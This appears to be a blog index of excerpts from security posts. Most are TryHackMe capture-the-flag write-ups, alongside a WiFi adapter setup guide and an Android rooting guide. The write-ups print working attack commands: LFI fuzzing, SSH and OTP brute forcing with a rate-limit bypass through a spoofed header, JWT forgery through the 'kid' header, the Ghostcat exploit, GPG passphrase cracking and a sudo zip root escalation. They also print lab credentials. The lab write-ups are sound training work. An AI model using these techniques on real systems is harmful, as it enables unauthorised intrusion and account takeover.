Posts on Silent Resistor

WiFi Hack Setup Guide - Atheros AR9271

Sun, 29 Mar 2026 00:00:00 +0000

Overview

This guide walks you through the painful process of weaponizing an Atheros AR9271 WiFi adapter with your Linux machine and VM running inside it on KVM/QEMU.

Prerequisites

A Linux host machine with KVM/QEMU
VM on KVM/QEMU
An Atheros AR9271 WiFi adapter

Chapter 1: Host Machine Reconnaissance

1.1 Identifying the WiFi Adapter

Recently I purchased a WiFi adapter for my pentesting lab on Amazon. I verified clearly in the product description that it supports monitor mode and packet injection: “2.4GHz 802.11n 150Mbps USB Wireless WiFi Adapter with 3dBi External Antenna for Atheros AR9271 Kali Linux Ubuntu Centos Desktop Windows, Black”
After receiving it, I noticed there’s no proper white label or branding on the product body indicating it belongs to a particular company. I’m a bit tense because I thought it might be a duplicate product. But after a little research, I found that this is quite common for these generic adapters.

So, without wasting more time, I plugged the device into my Linux host machine and checked if it was detected.

# Initially I checked it with lspci, and it turns out it only lists devices
# connected to the PCI bus like graphics cards, internal WiFi cards, etc.
lspci | grep Network
# 04:00.0 Network controller: MEDIATEK Corp. Device 9999

# Since the inserted device is a USB wireless adapter, it connects via USB bus
# Its vendor_id: 0xfw, product_id: 0x9213
lsusb | grep -i AR9271
# Bus 001 Device 010: ID 0xfw:9213 Qualcomm Atheros Communications AR9271 802.11n

# It's good to know that the device is recognized, now let's check the connections
ip link show
# 20: wlxbc307e231dg8: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000
# link/ether 16:16:36:71:f7:d8 brd ff:ff:ff:ff:ff:ff permaddr bc:33:7e:29:2c:f1

It seems all good, please make note of the interface name wlxbc307e231dg8 and the MAC address bc:33:7e:29:2c:f1.
I understand the weird name of the interface, and we can try to rename it to something shorter in the next steps.

1.2 Testing Monitor Mode and Packet Injection in Linux Host

Without thinking much, I started playing with the Aircrack-ng suite.

Include - Web Pentesting - Tryhackme

Sun, 15 Mar 2026 00:00:00 +0000

Added 10.48.159.228 include.thm to /etc/hosts

Upon the nmap scan, we discovered there are two webservers running on the machine.

#Nmap 7.95 scan initiated Sat Feb 28 07:26:57 2026 as: nmap -A -p4000,50000 -sC --script=*http-vuln* -oN include-new.nmap 10.48.159.228
Nmap scan report for 10.48.159.228
Host is up (0.024s latency).

PORT STATE SERVICE VERSION
4000/tcp open http Node.js (Express middleware)
50000/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (95%), Linux 5.4 (95%), Adtran 424RG FTTH gateway (92%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.11 (92%), Linux 3.7 - 4.19 (92%), Synology DiskStation Manager 5.1 (Linux 3.2) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops

Directory enumeration on both webservers didn’t yield any useful results.
http://include.thm:4000 - The creator is allowing me to sign in with guest/guest
Upon signing in, I opened my profile with http://include.thm:4000/friend/1. I discovered that the website is vulnerable to IDOR.
And I also discovered that it’s allowing me to change the profile parameters including admin status. I just added isAdmin=true in the input fields and it worked. Now I am admin and I can see the Admin Settings option.
We can also try here like __proto__:{isAdmin:true} to make everyone as admin. (Prototype pollution)
Upon looking at the API option, it lists a few endpoints that reveal admin credentials.
Upon looking at the Admin Settings, I found a file upload option. By inspecting the HTTP request using Burp, I get to know that the file upload is vulnerable to SSRF. I used the endpoints mentioned in the API as the URL parameter, and it worked, revealing the admin credentials.
Used these admin credentials in http://include.thm:50000/login.php and I can see the first flag.
Upon inspecting the source of http://include.thm:50000/dashboard.php, there is a picture included with the path http://include.thm:50000/profile?img=profile.png. And it’s easy to suspect that this is vulnerable to LFI.

So, I got the list of payloads from https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt, and tried them all.

curl -fsSL https://raw.githubusercontent.com/emadshanab/LFI-Payload-List/refs/heads/master/LFI%20payloads.txt > lfipayload.txt
ffuf -u http://include.thm:50000/profile.php?img=FUZZ -w payloads -H 'Cookie: PHPSESSID=vd4grnj98tqti28pc9lkc3dleu; connect.sid=s%3A5nvACvg5GVI-6f5cQxtCADkInn0mGaXp.9OzVoXF%2FllJgSXipRexPSF%2BZUG6sog6%2BtPrx%2Ffeu%2B8g' -mc 200 -fs 0

It will reveal the file /etc/passwd with users: charles, joshua

Let’s brute force the SSH passwords for these users.

hydra -l charles -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t 4 # 123456
hydra -l joshua -P /usr/share/wordlists/rockyou.txt ssh://include.thm -I -t 4 # 123456

Get inside via SSH as charles or joshua and get the second flag from the /var/www/html directory.

Unlock Bootloader in Android, Root it, and Install Kali Net Hunter

Sat, 28 Feb 2026 00:00:00 +0000

1. Overview:

This miserable guide will drag you through the painful process of unlocking your Android device’s bootloader, rooting it, and installing Kali Linux NetHunter. Follow these steps desperately if you want to succeed, or don’t, whatever.

2. Prerequisites:

2.1 Hardware Requirements

Some Android device that hopefully works with NetHunter
A USB cable that hopefully isn’t broken
Linux computer (Ubuntu/Debian, because we’re all suffering anyway)

2.2 Software Requirements

ADB (Android Debug Bridge) and Fastboot tools
Android Studio (optional, comes with those platform tools we need)
Let’s figure out how to install these damn tools with one of these two desperate options:

# Option:1
# Install ADB and Fastboot using package manager
sudo apt update
sudo apt install android-tools-adb android-tools-fastboot

# Option:2
# If you have Android Studio installed, the tools are located at:
ls -l $HOME/Android/Sdk/platform-tools/
# Add to your PATH for easier access:
echo 'export PATH=$PATH:/path/to/Android/Sdk/platform-tools' >> ~/.bashrc
source ~/.bashrc

2.3 Setting Up USB Debugging

Enable Developer Options on Android

Injectics - Web-pentesting - Tryhackme

Sun, 08 Feb 2026 00:00:00 +0000

Part1: Reconnissance

Upon Nmap scap at the given target machine, reveals a webserver running at 80.
HTPP Server: Apache/2.4.41 (Ubuntu)
A quick visit on site, reveals it has
- Home Page
- Login Page
- Admin Login Page
Having a look at source of Home page (http://10.49.134.13/index.php), gives some qlues
- Website developed by John Tim- dev@injectics.thm
- Mails are stored in mail.log file
Looking at mail.log (http://10.49.134.13/mail.log)
- John said in mail to superadmins that “I have configured the service to automatically insert default credentials into the users table if it is ever deleted or becomes corrupted”
- And a default credentials if table users is deleted.
```
| Email | Password 	 |
|---------------------------|-------------------------|
| superadmin@injectics.thm | superSecurePasswd101 |
| dev@injectics.thm | devPasswd123 |
```
Did a directory enumeration at root of website using dirsearch, which uses its own wordlist available at /usr/lib/python3/dist-packages/dirsearch/db directory.

Hammer - Web-pentesting - tryhackme

Sat, 31 Jan 2026 00:00:00 +0000

Intial observation

Upon doing a nmap scan on the target machine, we get know - there is webserver running on port 1337
I had a closed look at the website, i do not find any of flags. except login page code left comment saying . So, why dont scan all the dir starting with hmr_

ffuf -u 'http://10.49.149.19:1337/hmr_FUZZ' -w /usr/share/wordlists/dirb/big.txt 
css # nothing, but a bootstrap css
images # A hammer image
js # min.js file, i do not think its usefull
logs # Seems, i found a error.logs, it may reveal some information.

Upon observing the /hmr_logs/error.logs file, following info is revealed.

webdir: /var/www/html
A test user: { email = tester@hammer.thm }
/restricted-area" - denied server configuration
/home/hammerthm/test.php - denied by server configuration
/admin-login - probably admin page, test user tried to loggin in admin, but failed - so he is not admin.

Again Did a directory enumeration as whole on website :)

ffuf -u 'http://10.49.149.19:1337/FUZZ' -w /usr/share/wordlists/dirb/big.txt -t 1000 -b 400-500
gobuster dir -u "http://10.49.149.19:1337" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # this wordlist not giving good resutls
.htpasswd # do not access
.htaccess # do not access
/javascript # do not enough permissions to open 
/vendor # Voila, Seems like a directory exposed to web
/phpmyadmin # A php admin site

I keep observing /vendor directory, honestly i do not find any flags. It just seems third party libraries in php.

Part1: Time for Action - Bruteforce

I tried brute forcing loging page, it does not worked.

ffuf -u 'http://10.49.149.19:1337/' -d 'email=tester%40hammer.thm&password=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.49.149.19:1337' -H 'Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9' -w /usr/share/wordlists/rockyou.txt -t 1000 -fr 'Invalid Email or Password!'

Intruder Brute force on OTPs of the reset_password for tester@hammer.thm in burp revealeed, there is implementation of rate-limiting inside backend of reset_password. It giving the error after a specific number (for me its 7) attempts.
Honestly, i wasn’t sure, how to break rate limiting, some blogs revealed use of X-Forwarded-For in request headers to tell server about client’s IP. This is generally used in server with proxies to track the client’s activities.
In this case, i we do not have proxies, and we make use of this vulnerability. What we do is, tell the server that requests are coming from varios IPs using X-Forwarded-For header, so bypassing the rate-limiting.
Ok, Now reset the password for tester@hammer.thm, enter the randam OTP and capture request it in burp.

# Generate OTPs list for bruteforce using the crunch
crunch 4 4 0123456789 -o otp-list.txt
# Now, Brute force with ffuf
ffuf -u 'http://10.49.149.19:1337/reset_password.php' -d 'recovery_code=FUZZ&s=170' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.49.149.19:1337' -H 'Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9' -H 'X-Forwarded-For: FUZZ' -w otp_numbers.txt -t 1000 -fr 'Invalid or expired recovery code!'

Above brute force may reveal the otp, lets give new password for user and logIN.
First flag is revealed.

Part2: Remote code execution

Upon loggin with new password, its turns out there is auto logout after few seconds. I do not have any option, but to capture the request in burp repeater and execute commands from there.
Honestly, Seems like my role is not admin, allowing me to execute only ls command.

ls
188ade1.key # curl http://10.49.149.19:1337/188ade1.key --> 56058354efb3daa97ebab00fabd7a7d7
composer.json # cat composer.json in website --> "{\n \"require\": {\n \"firebase\/php-jwt\": \"^6.10\"\n }\n}\n"
config.php
dashboard.php
execute_command.php
hmr_css
hmr_images
hmr_js
hmr_logs
index.php 
logout.php
reset_password.php

Upon observation of request, its reveals usage of jwt for the authentication and authorization. Ok why dont we decode the token and see what there in. Yeah did.

# Token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzY5ODc4NTAxLCJleHAiOjE3Njk4ODIxMDEsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.erK8sC2UYS5suyRWwIjMdSbvA8sxIYUvzKbJ-58szio
# After decoding, Headers
{
 "typ": "JWT",
 "alg": "HS256",
 "kid": "/var/www/mykey.key"
}
# Paylaod
{
 "iss": "http://hammer.thm",
 "aud": "http://hammer.thm",
 "iat": 1769878501,
 "exp": 1769882101,
 "data": {
 "user_id": 1,
 "email": "tester@hammer.thm",
 "role": "user"
 }
}

Developer might have not included kid, and role in the token itself. Lets make use of vulnerability by making new token with our own kid, and role using url: https://xjwt.com
We will use key, already present at the root directory of website kid: /var/www/html/188ade1.key and role: admin

# Headers
{
 "typ": "JWT",
 "alg": "HS256",
 "kid": "/var/www/html/188ade1.key"
}
# Payload
{
 "iss": "http://hammer.thm",
 "aud": "http://hammer.thm",
 "iat": 1769878501,
 "exp": 1769882101,
 "data": {
 "user_id": 1,
 "email": "tester@hammer.thm",
 "role": "admin"
 }
}
# Key
56058354efb3daa97ebab00fabd7a7d7
# Generated token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzY5ODc4NTAxLCJleHAiOjE3Njk4ODIxMDEsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.beXn8RMbKeq8qgAMvkKPZ86IZ7nc4IpeYMv7v9jJXUo

Lets make use of this new token in captured request on repeater of burp suit, and run cat /home/ubuntu/flag.txt command there.
It will reveal the second Flag.
Yeah that’s it, We solved CTF.

Tom Ghost - TOMCAT - Tryhackme

Fri, 31 Jan 2025 00:00:00 +0000

Thought it was difficut just by looking at the vulnerabities after nmap scan tomghost.nmap
A perfectly deployed tomcat at 8080 (spent alot of time on this), and a silently hiding ghost (same tomcat) listening at 8009 for ajp packets.
A quick scan on searchexploit and msfconsole for ajp or ghostcat quckly revelead a very good exploit. which eventually reveals ssh password for the skyfuck user.

## msfconsole: exploit:auxiliary/admin/http/tomcat_ghostcat,
 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
 http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
 version="4.0"
 metadata-complete="true">

 <display-name>Welcome to Tomcat</display-name>
 <description>
 Welcome to GhostCat
 skyfuck:8730281lkjlkjdqlksalks
 </description>

Now im inside the skyfuck user. What i can see is a crendentials.gpg file encrypted with the encryption key tryhackme.asc
i have tried by decrypting with gpg, its again asking for the passphrase for encryption key which i do not have.
So, thought of brutforcing the passphrase for the encryption key. Lets get into the Kali

scp skyfuck@10.49.159.228:tryhackme.asc ./
/usr/sbin/gpg2hash tryhackme.asc > hash
john --format=gpg --wordlist=/usr/share/wordlist/rockyou.txt hash
# Using default input encoding: UTF-8
# Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
# Cost 1 (s2k-count) is 65536 for all loaded hashes
# Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
# Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
# Will run 3 OpenMP threads
# Press 'q' or Ctrl-C to abort, almost any other key for status
# alexandru (tryhackme) 
# 1g 0:00:00:00 DONE (2025-12-29 14:01) 12.50g/s 13425p/s 13425c/s 13425C/s alexandru..trisha
# Use the "--show" op

it turns out we found the passphrase for the encryptions key, i.e, alexandru
Now, lets get more action in the skyfuck user of target machine

gpg --import tryhackme.asc
gpg --decrypt credentials.gpg # enter the passphrase
# gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
# "tryhackme <stuxnet@tryhackme.com>"
# merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Now, we have the password for the merlin user

su - merling # enter the pass
cat user.txt

# privilage escalation
sudo -l # revals he has privilages on zip 
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
id # reveals now you are root
cat /root/root.txt

That’s it

MonikerLink CTF - Jr Pentester - Tryhackme

Sat, 25 Jan 2025 00:00:00 +0000

This is a writeup for the MonikerLink room on tryhackme, which explores CVE-2024-21413 - a critical vulnerability in Mircrosoft outlook that allows remote code execution via malicious hyperlinks.

What is CVE-2024-21413?

CVE-2024-21413 is a vulnerability in Microsoft outlook that bypasses protected view by usin ga specially crafted file:// URL with a ! character. When a victim clicks thelink, it can leak NTLM credentials or execute code.

Exploit Script

The following python script sends a phishing email with a malicious link to trigger the vulnerability

Pyrat CTF - Reverse shell - tryhackme